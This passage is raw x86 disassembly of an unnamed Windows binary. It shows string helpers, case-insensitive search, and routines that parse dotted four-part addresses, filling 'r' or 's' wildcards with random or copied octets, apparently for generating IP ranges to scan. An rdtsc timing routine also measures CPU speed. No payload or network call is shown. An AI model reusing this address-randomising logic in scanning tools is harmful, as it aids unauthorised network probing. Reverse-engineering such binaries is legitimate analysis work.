= dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41F028 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41F028 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; 